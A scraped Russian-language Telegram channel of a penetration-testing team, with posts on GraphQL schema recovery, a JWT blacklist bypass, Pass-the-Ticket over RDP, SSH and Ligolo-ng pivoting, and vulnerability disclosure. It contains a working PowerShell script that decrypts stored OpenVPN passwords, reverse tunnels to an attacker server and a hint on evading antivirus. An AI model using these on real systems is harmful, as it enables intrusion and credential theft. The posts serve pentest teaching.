Рассказываем о том, как развернуть свой Burp Collaborator 😋
https://telegra.ph/Svoj-BurpSuite-Collaborator-08-27
https://telegra.ph/Svoj-BurpSuite-Collaborator-08-27
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Свой BurpSuite Collaborator
В какой-то момент вы, возможно, столкнулись с тем, что попытки выявить SSRF, blind XSS и прочие подобные атаки блокируются по поддомену *.oastify.com. Burp Suite позволяет нам сделать свой приватный Collaborator и даже описывает как это сделать, но этого…
5🔥10 9💅2👍1👎1👾1
Упрощаем пентест GraphQL
У GraphQL есть механизм интроспекции, с помощью которого можно получить информацию о схеме API, включая доступные запросы и возможные аргументы. Однако, чаще всего разработчики его выключают в продакшн среде.
Это не проблема, поскольку некоторые серверы GraphQL, например Apollo Server, по умолчанию имеют механизм подсказок методов.
На первом скриншоте можно увидеть, как выглядят такие подсказки.
Как это можно использовать?
Существует готовое автоматизированное решение для восстановления схемы из подсказок — Clairvoyance.
Для удобной работы с полученной схемой можно использовать расширение InQL для Burp Suite.
Во вкладке InQL выбираем Scanner, указываем в строке URL эндпоинт GraphQL атакуемого веб-приложения, загружаем ранее полученный файл схемы и нажимаем Analyze.
В результате мы получим список методов, которые можно использовать для последующего анализа приложения.
У GraphQL есть механизм интроспекции, с помощью которого можно получить информацию о схеме API, включая доступные запросы и возможные аргументы. Однако, чаще всего разработчики его выключают в продакшн среде.
Это не проблема, поскольку некоторые серверы GraphQL, например Apollo Server, по умолчанию имеют механизм подсказок методов.
На первом скриншоте можно увидеть, как выглядят такие подсказки.
Как это можно использовать?
Существует готовое автоматизированное решение для восстановления схемы из подсказок — Clairvoyance.
Для удобной работы с полученной схемой можно использовать расширение InQL для Burp Suite.
Во вкладке InQL выбираем Scanner, указываем в строке URL эндпоинт GraphQL атакуемого веб-приложения, загружаем ранее полученный файл схемы и нажимаем Analyze.
В результате мы получим список методов, которые можно использовать для последующего анализа приложения.
7 18🔥5👾4👍1
👨🏻💻 JWT-аномалия
Недавно обнаружили интересную статью о том, что изменение последнего символа подписи JWT-токена не всегда делает подпись недействительной.
Чем это может быть опасно?
При выходе пользователя из аккаунта, используемый JWT-токен может оставаться действительным еще какое-то время, в зависимости от срока его жизни. Это может позволить злоумышленнику, получившему JWT-токен, продолжать выполнять действия от лица жертвы.
Для решения этой проблемы применяются черные списки, в которые попадают еще активные JWT-токены.
Выявленная аномалия позволяет обойти такие черные списки, путем изменения последнего символа JWT. Пример изменения последнего символа JWT-токена показан на скришотах.
Как это работает?
Такая аномалия объясняется особенностями криптографических алгоритмов и методов кодирования. Изменения затрагивают младшие биты подписи, которые могут не оказывать значительного влияния на результат проверки. Это означает, что подпись токена остается действительной, несмотря на внесенные изменения.
Подробнее об этой аномалии можно прочитать в статье.
Недавно обнаружили интересную статью о том, что изменение последнего символа подписи JWT-токена не всегда делает подпись недействительной.
Чем это может быть опасно?
При выходе пользователя из аккаунта, используемый JWT-токен может оставаться действительным еще какое-то время, в зависимости от срока его жизни. Это может позволить злоумышленнику, получившему JWT-токен, продолжать выполнять действия от лица жертвы.
Для решения этой проблемы применяются черные списки, в которые попадают еще активные JWT-токены.
Выявленная аномалия позволяет обойти такие черные списки, путем изменения последнего символа JWT. Пример изменения последнего символа JWT-токена показан на скришотах.
Как это работает?
Такая аномалия объясняется особенностями криптографических алгоритмов и методов кодирования. Изменения затрагивают младшие биты подписи, которые могут не оказывать значительного влияния на результат проверки. Это означает, что подпись токена остается действительной, несмотря на внесенные изменения.
Подробнее об этой аномалии можно прочитать в статье.
4 15👍5🔥4👀3
Возможно вы уже видели инструкцию по сборке FreeRDP с поддержкой Kerberos (которая по умолчанию отключена), однако, при ее использовании у вас могли возникнуть проблемы с Pass-The-Ticket.
Мы нашли решение этой проблемы, но оно будет работать только для серверов с включенным режимом Remote Guard. Его можно активировать точно так же, как и Restricted Admins, изменив значение регистра
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa, установив ключ DisableRestrictedAdmin в значение 0.Сделать это можно так:
reg add Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /f /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f.Инструкция подходит для Linux, мы не проверяли ее работоспособность на других ОС.
Сначала собираем сам FreeRDP:
git clone https://github.com/FreeRDP/FreeRDP
cd FreeRDP
cmake -S . -B build -DWITH_GSSAPI=ON -DCHANNEL_RDPEAR=ON
cmake --build build -j $(nproc)
Бинарный файл будет лежать в директории
build/client/X11.Теперь нужно настроить конфигурацию Kerberos на вашей машине. Редактируем файл krb5.conf. В качестве примера продемонстрируем свой файл, который был настроен для тестового домена DLAB.LOCAL:
[libdefaults]
default_realm = DLAB.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
DLAB.LOCAL = {
kdc = srv-new-dc1.dlab.local
admin_server = SRV-NEW-DC1.dlab.local
default_domain = dlab.local
}
[domain_realm]
.dlab.local = DLAB.LOCAL
dlab.local = DLAB.LOCAL
[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
Cервер KDC должен быть доступен во время аутентификации, а так же крайне важно, чтобы все имена резолвились. Kerberos не работает с IP, только с DNS-именами, поэтому далее мы указываем только имена. Стоит указывать все имена абсолютно так же, как они описаны в тикете, иначе аутентификация может провалиться.
Кстати, эти правила применимы не только в контексте использования тикетов в RDP, поэтому во время пентестов Active Directory не забывайте про них, они сильно упростят вам жизнь.
После изменения конфигурационного файла Kerberos указываем путь до TGT в переменной KRB5CCNAME. Если будет возникать ошибка отсутствия файла по указанному пути, то попробуйте абсолютный путь.
export KRB5CCNAME=Administrator.ccache
Теперь можно делать Pass-The-Ticket для подключения к RDP.
./xfreerdp /f /u:Administrator /d:'dlab.local' /v:SRV-NEW-DC2.dlab.local /auth-pkg-list:'!ntlm' /cert:ignore /remoteGuard
Поздравляем, теперь вы зашли по RDP на сервер через Pass-The-Ticket!
Как оказалось, проблема заключалась в том, что автор FreeRDP в конце сентября прошлого года отключил поддержку протокола MS-RDPEAR, без которого при попытке сделать Pass-The-Ticket клиент вылетал и сессия не устанавливалась. Информацию об этом можно найти в Pull Request.
Please open Telegram to view this post
VIEW IN TELEGRAM
8 10❤6👍2🔥1
🔐 Извлечение сохраненных паролей в OpenVPN (Windows)
Если в ходе пентеста вы получили доступ к сессии пользователя, хранящего пароли VPN в OpenVPN, можно использовать PowerShell-скрипт для извлечения и расшифровки учетных данных из реестра.
🔸Если вдруг у вас отключено исполнение скриптов Powershell, не забудьте прописать:
🔸Код скрипта:
Если скрипт отработал корректно, то он выведет: название конфига, имя пользователя, пароль и пароль от ключа:
Если в ходе пентеста вы получили доступ к сессии пользователя, хранящего пароли VPN в OpenVPN, можно использовать PowerShell-скрипт для извлечения и расшифровки учетных данных из реестра.
🔸Если вдруг у вас отключено исполнение скриптов Powershell, не забудьте прописать:
Set-ExecutionPolicy Bypass -Scope CurrentUser
🔸Код скрипта:
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
Write-Host ('Config name: ')
Write-Host ($item.'PSChildName')
$username=$encryptedbytes=$item.'username'
Write-Host ('Username: ')
Write-Host ([System.Text.Encoding]::Unicode.GetString($username))
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ('Password: ')
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
$encryptedbytes=$item.'key-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ('Key password: ')
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
Write-Host (' ')
}
Если скрипт отработал корректно, то он выведет: название конфига, имя пользователя, пароль и пароль от ключа:
Config name:
test_config_1
Username:
Test_Username
Password:
Secure_password
Key password:
key_pass
Config name:
test_config_2
Username:
Test_user
Password:
Secure_password
Key password:
Secure_key_pass
2 13🔥9❤3👍1💅1😎1
Подготовили краткий обзор решений для защиты UI мобильного приложения от скриншотов и записи экрана — как для Android, так и для iOS 🦾
Все подробности в нашей статье на хабре.
Все подробности в нашей статье на хабре.
Please open Telegram to view this post
VIEW IN TELEGRAM
115 15🔥7👀4
🧬 Pivoting: организуем доступ к изолированным серверам
Начинаем серию постов, посвящённых пивотингу — ключевой технике в арсенале пентестера для продвижения внутри сети после получения первоначального доступа.
Пивотинг — это техника, позволяющая получить доступ к внутренним сетям, изначально недоступным напрямую, с помощью скомпрометированных узлов.
В этой серии мы рассмотрим различные техники и утилиты для пивотинга, которые используем в повседневной работе. Мы начнём с базовых, широко известных методов и перейдём к более продвинутым техникам.
Начинаем серию постов, посвящённых пивотингу — ключевой технике в арсенале пентестера для продвижения внутри сети после получения первоначального доступа.
Пивотинг — это техника, позволяющая получить доступ к внутренним сетям, изначально недоступным напрямую, с помощью скомпрометированных узлов.
В этой серии мы рассмотрим различные техники и утилиты для пивотинга, которые используем в повседневной работе. Мы начнём с базовых, широко известных методов и перейдём к более продвинутым техникам.
4 13
🔐 SSH 1/2
Это самый простой и доступный способ пивотинга, не требующий установки дополнительных инструментов.
Сервис SSH поддерживает возможность проброса портов, что делает его удобным инструментом для обеспечения доступа к изолированным ресурсам сети через доступные узлы.
Если у вас есть SSH-доступ к узлу внутри сети, вы можете использовать его в качестве транспорта для доступа к другим сервисам, недоступным напрямую. Это особенно полезно при обходе ограничений или при необходимости безопасного доступа к внутренним приложениям.
🛠Local port forwarding
Представим ситуацию: на скомпрометированном SSH-сервере
Эта команда создаст SSH-подключение к
Теперь при использовании
🛠Dynamic port forwarding
А что, если мы не хотим ограничиваться каким-то определённым портом или хостом? В таком случае у сервиса SSH есть функциональность работы в качестве SOCKS-прокси. Для использования данной функциональности нужно указать флаг
Пример создания SSH-подключения к
В результате на нашей машине откроется локальный порт 1080, который начнёт функционировать как SOCKS-прокси. Теперь можно без препятствий сканировать и подключаться к любым узлам, доступным с машины
Перед запуском proxychains стоит проверить, какой порт у вас установлен в разделе ProxyList в файле
Таким образом, сканирование хоста 10.1.1.1 через SSH-сервер
Обратите внимание, что при сканировании через proxychains не получится использовать SYN-сканирование. Вместо этого нужно будет использовать полноценный Connect-скан (-sT).
Это самый простой и доступный способ пивотинга, не требующий установки дополнительных инструментов.
Сервис SSH поддерживает возможность проброса портов, что делает его удобным инструментом для обеспечения доступа к изолированным ресурсам сети через доступные узлы.
Если у вас есть SSH-доступ к узлу внутри сети, вы можете использовать его в качестве транспорта для доступа к другим сервисам, недоступным напрямую. Это особенно полезно при обходе ограничений или при необходимости безопасного доступа к внутренним приложениям.
🛠Local port forwarding
Представим ситуацию: на скомпрометированном SSH-сервере
host1 мы нашли учетные данные для подключения к PostgreSQL, но самого psql-клиента на сервере нет, а также у нас нет прав для установки пакета. В таком случае, мы можем установить на свой хост psql-клиент и выполнить проброс трафика на сервер с базой данной PostgreSQL (host2).
ssh -L 9999:host2:5432 user@host1
Эта команда создаст SSH-подключение к
host1, при этом пробросит трафик с localhost:9999 нашей машины на порт 5432 сервера host2. Теперь при использовании
psql на нашей машине, мы можем подключиться к БД на host2 через host1.
psql -h localhost -p 9999 -U postgres
🛠Dynamic port forwarding
А что, если мы не хотим ограничиваться каким-то определённым портом или хостом? В таком случае у сервиса SSH есть функциональность работы в качестве SOCKS-прокси. Для использования данной функциональности нужно указать флаг
-D и порт. Все запросы, направленные на этот локальный порт, обрабатываются через данный прокси и перенаправляются к конечным адресатам.Пример создания SSH-подключения к
host1 с поднятием SOCKS-прокси:
ssh -D 1080 user@host1
В результате на нашей машине откроется локальный порт 1080, который начнёт функционировать как SOCKS-прокси. Теперь можно без препятствий сканировать и подключаться к любым узлам, доступным с машины
host1 — например, используя proxychains для проксирования трафика через настроенный туннель. Перед запуском proxychains стоит проверить, какой порт у вас установлен в разделе ProxyList в файле
proxychains.conf.Таким образом, сканирование хоста 10.1.1.1 через SSH-сервер
host1 будет выполняться так:
proxychains4 nmap -Pn -n -sT -sV --version-all -v 10.1.1.1 -oA result
Обратите внимание, что при сканировании через proxychains не получится использовать SYN-сканирование. Вместо этого нужно будет использовать полноценный Connect-скан (-sT).
7🔥12 7👍5
Продолжаем наш цикл заметок про Pivoting. На этот раз поговорим про Remote port forwarding.
🔗 Remote port forwarding
Может возникнуть ситуация, когда на скомпрометированном узле
host1 нет SSH-сервера, но есть SSH-клиент. Пусть мы также нашли учетные данные для подключения к PostgreSQL, расположенном на сервере host2, доступном с host1, но при этом на host1 psql-клиента нет, а также у нас нет прав для установки пакета. В таком случае мы можем подключиться c host1 по SSH к своему серверу для последующего перенаправления трафика к PostgreSQL на host2:
ssh -R 9999:host2:5432 user@our-server.com
Теперь при подключении к локальному порту 9999 на нашем сервере трафик будет перенаправляться на порт 5432 сервера
host2 через host1.При использовании Remote port forwarding также можно поднять динамический SOCKS-прокси-сервер. Если при подключении по SSH для флага
-R не указывать конкретный порт и хост, то на удалённом сервере автоматически создаётся SOCKS-прокси. То есть, при подключении с host1 к нашему серверу мы получаем универсальный способ проксирования трафика через SSH.
ssh -R 127.0.0.1:1080 user@our-server.com
В результате на сервере
our-server.com откроется локальный порт 1080, который будет функционировать как SOCKS-прокси. Все запросы, направленные на этот порт, будут обрабатываться SOCKS-прокси и перенаправляться через host1 к конечным адресатам.Теперь, по аналогии с флагом
-D, мы можем использовать proxychains для взаимодействия с узлами внутри сети:
proxychains4 nmap -Pn -n -sT -sV --version-all -v 10.1.1.1 -oA result
Please open Telegram to view this post
VIEW IN TELEGRAM
1 9👾3🔥1🤔1
🔄 Reverse TCP/TLS tunnel (1/4)
🔍 Введение
Продолжаем серию заметок о пивотинге — сегодня поговорим о Reverse TCP/TLS туннеле на базе Ligolo-ng.
Инструмент написан на Golang и позволяет удобно создавать туннели для обхода сетевых ограничений. Стоит учитывать, что ligolo может детектироваться антивирусным ПО и для обфускации кода можно использовать, например, garble в связке с upx, но эта уже совсем другая история.
Ligolo состоит из серверной и клиентской (агентской) частей, при этом клиентская часть не требует административных привилегий для работы. Инструмент весьма удобен - создает виртуальный TUN-интерфейс, что позволяет напрямую маршрутизировать трафик во внутреннюю сеть без необходимости настройки SOCKS-прокси, а также поддерживает хорошую скорость передачи данных. Это позволяет использовать различные инструменты без потерь в функциональности при проксировании. Кроме того, Ligolo поддерживает DNS-разрешение имен во внутренней сети, а также позволяет достаточно просто создавать цепочки туннелей из нескольких Ligolo-клиентов.
Перейдем к практике. У Ligolo есть очень подробная документация вот тут. В заметке мы расскажем только про основные моменты.
Скомпилируем серверную часть под Linux, а клиентскую под Windows и Linux под разные архитектуры:
🔍 Введение
Продолжаем серию заметок о пивотинге — сегодня поговорим о Reverse TCP/TLS туннеле на базе Ligolo-ng.
Инструмент написан на Golang и позволяет удобно создавать туннели для обхода сетевых ограничений. Стоит учитывать, что ligolo может детектироваться антивирусным ПО и для обфускации кода можно использовать, например, garble в связке с upx, но эта уже совсем другая история.
Ligolo состоит из серверной и клиентской (агентской) частей, при этом клиентская часть не требует административных привилегий для работы. Инструмент весьма удобен - создает виртуальный TUN-интерфейс, что позволяет напрямую маршрутизировать трафик во внутреннюю сеть без необходимости настройки SOCKS-прокси, а также поддерживает хорошую скорость передачи данных. Это позволяет использовать различные инструменты без потерь в функциональности при проксировании. Кроме того, Ligolo поддерживает DNS-разрешение имен во внутренней сети, а также позволяет достаточно просто создавать цепочки туннелей из нескольких Ligolo-клиентов.
Перейдем к практике. У Ligolo есть очень подробная документация вот тут. В заметке мы расскажем только про основные моменты.
Скомпилируем серверную часть под Linux, а клиентскую под Windows и Linux под разные архитектуры:
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
GOOS=linux GOARCH=amd64 go build -o server cmd/proxy/main.go
GOOS=windows GOARCH=amd64 go build -o client.exe cmd/agent/main.go
GOOS=linux GOARCH=arm64 go build -o client cmd/agent/main.go
9 9👍3👾3
🔄 Reverse TCP/TLS tunnel (2/4)
🔧 Базовое использование
Запустим сервер на нашем хосте (далее server) с самоподписанным сертификатом, хотя можно использовать и свой сертификат (флаги certfile и autocert).
Создадим в консоли ligolo TUN интерфейс, а также выведем отпечаток используемого сертификата для последующей настройки подключения клиентом.
Cобранный бинарный файл клиента запустим на сервере, через который хотим проксировать трафик (далее client_1). Необходимо указать полученный отпечаток сертификата.
Проверим на серверной стороне успешность подключения, выберем номер сесии клиента, а также посмотрим существующие интерфейсы на машине client_1. После чего запустим туннель.
Теперь на машине server необходимо прописать маршруты до нужных подсетей, доступных с машины client_1 (вот почему рекомендовали tmux).
После чего можно производить любые манипуляции с изолированными хостами, например сканировать недоступные напрямую сети или подключаться по RDP. Стоит отметить, что если клиент был запущен без административных привилегий, то nmap не сможет корректно использовать raw-сокеты, поэтому лучше все равно его запускать с флагом --unprivileged.
🔧 Базовое использование
Запустим сервер на нашем хосте (далее server) с самоподписанным сертификатом, хотя можно использовать и свой сертификат (флаги certfile и autocert).
Sudo потребуется для создания TUN интерфейса. Рекомендуем стартовать сервер в tmux для последующей настройки маршрутов.
sudo ./server -selfcert -laddr 0.0.0.0:11601
Создадим в консоли ligolo TUN интерфейс, а также выведем отпечаток используемого сертификата для последующей настройки подключения клиентом.
interface_create --name 'ligolo'
certificate_fingerprint
Cобранный бинарный файл клиента запустим на сервере, через который хотим проксировать трафик (далее client_1). Необходимо указать полученный отпечаток сертификата.
./client -connect <SERVER-IP>:11601 -accept-fingerprint <Cert_fingerprint>
Проверим на серверной стороне успешность подключения, выберем номер сесии клиента, а также посмотрим существующие интерфейсы на машине client_1. После чего запустим туннель.
session
ifconfig
start или tunnel_start --tun <name of interface>
Теперь на машине server необходимо прописать маршруты до нужных подсетей, доступных с машины client_1 (вот почему рекомендовали tmux).
sudo ip route add <NETWORK> dev ligolo
После чего можно производить любые манипуляции с изолированными хостами, например сканировать недоступные напрямую сети или подключаться по RDP. Стоит отметить, что если клиент был запущен без административных привилегий, то nmap не сможет корректно использовать raw-сокеты, поэтому лучше все равно его запускать с флагом --unprivileged.
nmap -Pn -n -sT -sV 172.26.100.150 -v
xfreerdp /u:<username> /p:<userpassword> /v:172.26.100.150:3389
11 14👍4🔥3
🔄 Reverse TCP/TLS tunnel (3/4)
🔗 Проброс портов
В ligolo существует полезная функциональность проброса портов для создания цепочек или перенаправления трафика. Например, мы хотим произвести проброс через несколько узлов, либо же перенаправлять трафик, который таргетированно идет на машину жертвы, к нам.
Для этого на стороне server в консоли ligolo выполним следующую команду для проброса порта 4444 клиента в работающий туннель на локальный порт 5555 на стороне сервера (можно указать конкретый IP:port).
Чтобы вывести текущие пробросы и остановить необходимые, можно использовать команды:
Используя проброс портов можно объединять клиентов (server → client_1 → client_2) в цепочку. Для этого на сервере сделаем проброс порта 4443 на первом клиенте (client_1), доступном напрямую атакующему.
После чего подключим client_2 через client_1 к серверу.
🔗 Проброс портов
В ligolo существует полезная функциональность проброса портов для создания цепочек или перенаправления трафика. Например, мы хотим произвести проброс через несколько узлов, либо же перенаправлять трафик, который таргетированно идет на машину жертвы, к нам.
Для этого на стороне server в консоли ligolo выполним следующую команду для проброса порта 4444 клиента в работающий туннель на локальный порт 5555 на стороне сервера (можно указать конкретый IP:port).
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:5555
Чтобы вывести текущие пробросы и остановить необходимые, можно использовать команды:
listener_list
listener_stop
Используя проброс портов можно объединять клиентов (server → client_1 → client_2) в цепочку. Для этого на сервере сделаем проброс порта 4443 на первом клиенте (client_1), доступном напрямую атакующему.
listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:11601
После чего подключим client_2 через client_1 к серверу.
./client -connect <CLIENT_1 IP>:11601 -accept-fingerprint <Cert_fingerprint>
1 9🔥4👍3
🔄 Reverse TCP/TLS tunnel (4/4)
⚙️ Bind-режим
Кроме того, возможна работа с использованием bind-подключения, что может быть полезно, например, при обходе ограничений на исходящие соединения на стороне жертвы. Для этого запускаем клиент
Подключаемся к нему сервером, после чего все как при обычном взаимодействии.
⚙️ Bind-режим
Кроме того, возможна работа с использованием bind-подключения, что может быть полезно, например, при обходе ограничений на исходящие соединения на стороне жертвы. Для этого запускаем клиент
./client -bind 0.0.0.0:4444
Подключаемся к нему сервером, после чего все как при обычном взаимодействии.
sudo ./server -selfcert
connect_agent --ip <CLIENT_1 IP>:4444
Недавно обнаружили несколько уязвимостей в ПО Sherpa RPA Orchestrator и передали технические подробности вендору.
К сожалению, вендор не проявил заинтересованности в исправлении уязвимостей и перестал отвечать, после передачи технических подробностей.
Выждав 90 дней, мы обратились в MITRE и БДУ ФСТЭК, чтобы поставить в известность пользователей данного ПО.
Делимся своим опытом:
При обращении в БДУ ФСТЭК (https://bdu.fstec.ru/contacts/vulreport), происходит официальное уведомление вендора о наличии уязвимости и необходимости ее устранить.
Весь процесс от подачи заявки для регистрации уязвимостей до их публикации, а также исправления занял у нас 120 дней.
Представители БДУ ФСТЭК оказали влияние на вендора для исправления уязвимостей и зарегистрировали их:
https://bdu.fstec.ru/vul/2025-03851
https://bdu.fstec.ru/vul/2025-03852
https://bdu.fstec.ru/vul/2025-03853
https://bdu.fstec.ru/vul/2025-03854
А еще у БДУ ФСТЭК есть классный рейтинг: https://bdu.fstec.ru/rating.
Если требуется зарегистрировать CVE, то быстрее всего получится это сделать через MITRE (https://cveform.mitre.org/).
Также можете попробовать подать через https://vuldb.com/.
А если и тут не получится, то можно попробовать пристыдить их в твиттере🙂
Весь процесс от подачи заявки для регистрации CVE до их публикации составил 51 день.
Из минусов - MITRE могут посчитать неверно CVSS, но кто вообще смотрит на CVSS, верно?)
Ссылки на зарегистрированные CVE:
https://nvd.nist.gov/vuln/detail/CVE-2025-46544
https://nvd.nist.gov/vuln/detail/CVE-2025-46545
https://nvd.nist.gov/vuln/detail/CVE-2025-46546
https://nvd.nist.gov/vuln/detail/CVE-2025-46547
К сожалению, вендор не проявил заинтересованности в исправлении уязвимостей и перестал отвечать, после передачи технических подробностей.
Выждав 90 дней, мы обратились в MITRE и БДУ ФСТЭК, чтобы поставить в известность пользователей данного ПО.
Делимся своим опытом:
При обращении в БДУ ФСТЭК (https://bdu.fstec.ru/contacts/vulreport), происходит официальное уведомление вендора о наличии уязвимости и необходимости ее устранить.
Весь процесс от подачи заявки для регистрации уязвимостей до их публикации, а также исправления занял у нас 120 дней.
Представители БДУ ФСТЭК оказали влияние на вендора для исправления уязвимостей и зарегистрировали их:
https://bdu.fstec.ru/vul/2025-03851
https://bdu.fstec.ru/vul/2025-03852
https://bdu.fstec.ru/vul/2025-03853
https://bdu.fstec.ru/vul/2025-03854
А еще у БДУ ФСТЭК есть классный рейтинг: https://bdu.fstec.ru/rating.
Если требуется зарегистрировать CVE, то быстрее всего получится это сделать через MITRE (https://cveform.mitre.org/).
Также можете попробовать подать через https://vuldb.com/.
А если и тут не получится, то можно попробовать пристыдить их в твиттере
Весь процесс от подачи заявки для регистрации CVE до их публикации составил 51 день.
Из минусов - MITRE могут посчитать неверно CVSS, но кто вообще смотрит на CVSS, верно?)
Ссылки на зарегистрированные CVE:
https://nvd.nist.gov/vuln/detail/CVE-2025-46544
https://nvd.nist.gov/vuln/detail/CVE-2025-46545
https://nvd.nist.gov/vuln/detail/CVE-2025-46546
https://nvd.nist.gov/vuln/detail/CVE-2025-46547
Please open Telegram to view this post
VIEW IN TELEGRAM
17🔥15😎3👎1👾1
До Practical Security Village осталось меньше месяца
В этом году воркшоп пройдет в Калининграде на площадке кинотеатра «Заря»
Вас ждут:
Воркшоп пройдет 11-12 сентября в рамках конференции #PAYMENTSECURITY
Регистрация доступна на сайте
Будем рады видеть вас на Practical Security Village!
До встречи!
Please open Telegram to view this post
VIEW IN TELEGRAM
5 14🔥6❤2👀1
На прошлой неделе мы провели наш воркшоп — Practical Security Village
В этом году он проходил в Калининграде в рамках ежегодной конференции PaymentSecurity
Было много заданий на разные темы:
🟡 Active Directory
🟡 Веб
🟡 Мобильные приложения
🟡 AI
🟡 Linux
🟡 Сети
В этот раз мы добавили две hardware-зоны: в одной можно было попробовать себя в атаках на физическом уровне, врезавшись в Ethernet-кабель для перехвата секретного сообщения, а в другой участникам предлагалось спаять собственное устройство и с его помощью решить несколько заданий
Были рады увидеться вживую, поделиться нашим опытом, послушать ваши истории и в целом круто пообщаться!
Начинаем готовиться к следующему PSV 😎
В этом году он проходил в Калининграде в рамках ежегодной конференции PaymentSecurity
Было много заданий на разные темы:
В этот раз мы добавили две hardware-зоны: в одной можно было попробовать себя в атаках на физическом уровне, врезавшись в Ethernet-кабель для перехвата секретного сообщения, а в другой участникам предлагалось спаять собственное устройство и с его помощью решить несколько заданий
Были рады увидеться вживую, поделиться нашим опытом, послушать ваши истории и в целом круто пообщаться!
Начинаем готовиться к следующему PSV 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11 11🔥8😎3❤1👍1